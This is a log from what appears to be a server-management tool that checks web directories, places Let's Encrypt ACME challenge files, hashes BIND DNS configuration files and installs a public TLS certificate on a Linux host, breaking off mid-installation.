MA4GA1UEAxMHUm9vdCBZUjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIB
ANvGJnN78CTJdWL3+eGfsLN5TrNBJs+VH9hRXqRbwxu9sGNiB0BD1fcOxbSUQCJI
M1xE13Db+5Cw1w0s0EBYsvuIP/6joF0w8cuImbgR1OGgYbSQ4OpzI+DG8SGuTlcE
873OCS+kh3srlo6vl43M5OJg4Aeo1sfHp6kTJDoIiFBNJAY+OKfX/FUvYKuhjT+n
o49lmqmupSBI5PkBQiqrEGtWU5uxU/cQWHGu8jSjFBznZqvbNPLMXMLFxCb3WTfr
JBXXjqvWG+v4bjzxjjeAtOlU7qarRDvNOyAuQYLln904M+faKx8hnLCpJ15ZqaEg
cNlY+9MMWcC5yvL2A2j3l9+2buggZX+dOE91zYmIdawTvSZuVvlbRrAlLxIB6pwM
BjneXCjYQ8+3BCCjssbSNpZU3hTcBDdhfAlEDlYr6pEatnMdmDT5BqnKC92bd0Eh
M1fbLHioLccLCuievT8ZkPhZrq7Mii7gNXAcUEAR8+lzYal+9zTg7C5DALyVOeG/
CqfRAMn1KSHCR0NSA6P8tn/mGRlnCct5rtVCLnVySVpU6H1qGg3DgTOuskf8eahT
MiYbI5ezPJmO5ertalskQ1utp74+eDy92PI4ftHKTbq9IWhH4YZKh3WnJEIt+oQv
lYZbY8tpEroKrFB6PFGzrJIDRyts4HqvuH52RFj2zv/BAgMBAAGjgeswgegwDgYD
VR0PAQH/BAQDAgEGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMA8GA1UdEwEB/wQFMAMB
Af8wHQYDVR0OBBYEFN7nW2DQIm1AKH0/DQH+pLVStFGUMB8GA1UdIwQYMBaAFHm0
WeZ7tuXkAXOACIjIGlj26ZtuMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEFBQcwAoYW
aHR0cDovL3gxLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAECATAnBgNV
HR8EIDAeMBygGqAYhhZodHRwOi8veDEuYy5sZW5jci5vcmcvMA0GCSqGSIb3DQEB
CwUAA4ICAQA8spSI95KKfn2W6GMmDpHBJSPaLbsS3W93cijJCRCYAc1fsJgL1FIL
7C0C9ecPOdcwB2fi0Dk2p94j9iTJCxmt5CFSKLRWwnXT2MMSXexVxqoVB79BdWPx
VXETkVme/qYSAuKVHh5Ps+5BixgmwS1JkjSAc+MfrUbNssVEEnH0aEiAh+rotXAV
JSP/Ye7LJPEwD9DWG72vVWbhAcuOf5OLjz57Ctk7MgQHynZ7+PlHJtajroCaIbtC
r6tcZZaAwUQm+jQyeWdV+2hv9deOYFmKeQyjjcSrN5Nadrw+L9DZJLbA1HqeNvLh
BgqpP0fvJq2N6EtD574N6eMI7uMsJTnji2UDz9el5XLSv9fqJMuDQtYVb2oTNoKp
oUqhxPVC0aq4eG5MESaIdn8b5ZGSSeAJLMHXljEdlNza+ncfkviXk1POLnnFdvx8
/gk6M374WbLWFXw8N141B/Rl/tINGfl1TxOIiqtiMYkL02RSGb1kq34BL9NPP27z
RGMuHGnzS3hFIrRTfKxrzUZ9RzQWzEG3K6fJ3r2nqSltkeytis9DIBoFY9VmVyjL
M71DMi+y1+TRSJVClEMwvA4yL++7q9XZx5r5wBRWB4kQTKH5qyoZnDw7iiuh1lID
yDFx8r7i9vIJU5HS3moZLkYWAOilMaV9N56A9Bgb6dNcHkvg3NoaYA==
-----END CERTIFICATE-----






2026-07-19 06:00:02: Establishing a connection
2026-07-19 06:00:03: Establishing a connection
2026-07-19 06:00:03: 

PUT: /tmp/pkp182956

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_backup/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-19 06:00:03: 

chmod 755 /tmp/pkp182956; /tmp/pkp182956; rm /tmp/pkp182956

2026-07-19 06:00:03: 


1


2026-07-19 06:00:05: Establishing a connection
2026-07-19 06:00:05: 

PUT: /tmp/pkp244468

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_backup/.well-known/acme-challenge/"
cat > QgB0yL-UJMGpYcuQLvq4QfEmi6LrOkWs2y9_zs0YAt0 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
QgB0yL-UJMGpYcuQLvq4QfEmi6LrOkWs2y9_zs0YAt0.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 QgB0yL-UJMGpYcuQLvq4QfEmi6LrOkWs2y9_zs0YAt0


2026-07-19 06:00:05: 

chmod 755 /tmp/pkp244468; /tmp/pkp244468; rm /tmp/pkp244468

2026-07-19 06:00:05: 




2026-07-19 20:40:47: Establishing a connection
2026-07-19 20:41:08: Establishing a connection
2026-07-19 20:41:08: 

PUT: /tmp/pkp384418

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-07-19 20:41:09: 

runuser -l bind -s /bin/bash -c '/tmp/pkp384418; rm /tmp/pkp384418'

2026-07-19 20:41:09: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 58b6b8ae4641dbacd44268075f2a555a
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-07-19 20:41:17: Establishing a connection
2026-07-19 20:41:17: Establishing a connection
2026-07-19 20:41:17: 

PUT: /tmp/pkp917376

#!/bin/bash
if [ -d "/var/www/patientapps_portal/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-19 20:41:17: 

chmod 755 /tmp/pkp917376; /tmp/pkp917376; rm /tmp/pkp917376

2026-07-19 20:41:17: 


0


2026-07-19 20:41:56: Establishing a connection
2026-07-19 20:41:56: 

PUT: /tmp/pkp477104

#!/bin/bash
temp_file=$(mktemp)
TARGET=3f85a328a3b4d0829fd0b0b311b3007b.crt

cat > $temp_file <<'endmsg'
e4:cb:fd:e3:b6:dd:ed:ea:5c:17:4e:2a:50:9d:4e:8f

-----BEGIN CERTIFICATE-----
MIIFAjCCA+qgAwIBAgISBc/H/gpovdc1ty0Fcg95+MHyMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNzE5MTk0MzI0WhcNMjYxMDE3MTk0MzIzWjAeMRwwGgYDVQQD
ExNwYWkucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAz4vqsabeyKkoQMlzWbRu2dLS0orvqzgsRairCM/tzaU9Br8+p+PGDR1F
N1zCsM1OsjUEv2n/6IZXUqD19nEaQDhlmLOaHZZWW5w0IXovu0yi0wJJ1vtpHFNS
GrEzHoZwBM1ldzHHlLLUAWglILcLRgtYxHv5FLlP17JPNm7UXH/RLq0XWk8KDUYN
QlOcbmGKUTI1c05KBs3YH7bPLdBLnCXYtZr8OaCmVzq5U9fUJdGm/3SM9rMJTxCd
Po3b/Kere8R0liLd4Nf+Vra0fecSJ0Fkjrka5nvVkN1SeHKLcbJaBK/8K4GUe9gf
vU8yOTLlcZyK3e7BAu23ISMSckKZ2wIDAQABo4ICIzCCAh8wDgYDVR0PAQH/BAQD
AgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FE4Iy/yjkHmdX2D6cxrhXC1moc/jMB8GA1UdIwQYMBaAFB8vNb5GFILNQLGueSxV
ePr31Gj7MDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3lyMS5p
LmxlbmNyLm9yZy8wHgYDVR0RBBcwFYITcGFpLnBhdGllbnRhcHBzLm5ldDATBgNV
HSAEDDAKMAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8veXIxLmMu
bGVuY3Iub3JnLzExNS5jcmwwggENBgorBgEEAdZ5AgQCBIH+BIH7APkAdgCvZ4g7
V7BO3Y+m2X72LqjrgQrHcWDwJF5V1gwv54WHOgAAAZ98HS7FAAAEAwBHMEUCIEos
c8b7ejINRWSgPd49YX0Bu7l5tUbC9hj80RJc7T4fAiEAs7Wzrmgi9pMOMRiy9ciC
pZp59kuvxYirvpIDjYomkcgAfwAai51rD/6/gbR5OcbSMQqG1tEC1PBG4hgsneNf
XiYl7wAAAZ98HTCGAAgAAAUAK3YWwAQDAEgwRgIhAKgcVR5C8ndNWFQJAHM3hNeS
C20qwLspo8DMKQvp7Y8LAiEAslLK7ahJqlzo4oRVfYNylywdbxLt6NzKsYLKmQR3
MuYwDQYJKoZIhvcNAQELBQADggEBAFmR02b7+hscPvoCEtCc9WwZ2n3rXPAfkYoq
8QNvp7Dqyy7MHhod1w8MZiSjW9+6RkVDjP8/bHXCzS8snzljKgjv9r/ZYsG3Qu8x
1QUc+ST49hBH54lcUQSv5iLZ49dS3Larjz01iS5OaYnGGa8ZTjFkCLLqWWqOK681
UJ1MJdjwUS7dnLKU79EEJKOqGLRYp9MJFu++vli07kp9+7kUr6NwwziRhbrh+oQr
mK25hDZKgVcoAKpMFpA2olAutythgn1NL6Z/PVIJrYEEf7Ej1AsxiIt0rRaXznTL
3HdoWET3Z7TGZYRheYHqEkhiCyFjGNUJIO2jFUPohKRcSmemVJ8=
-----END CERTIFICATE-----



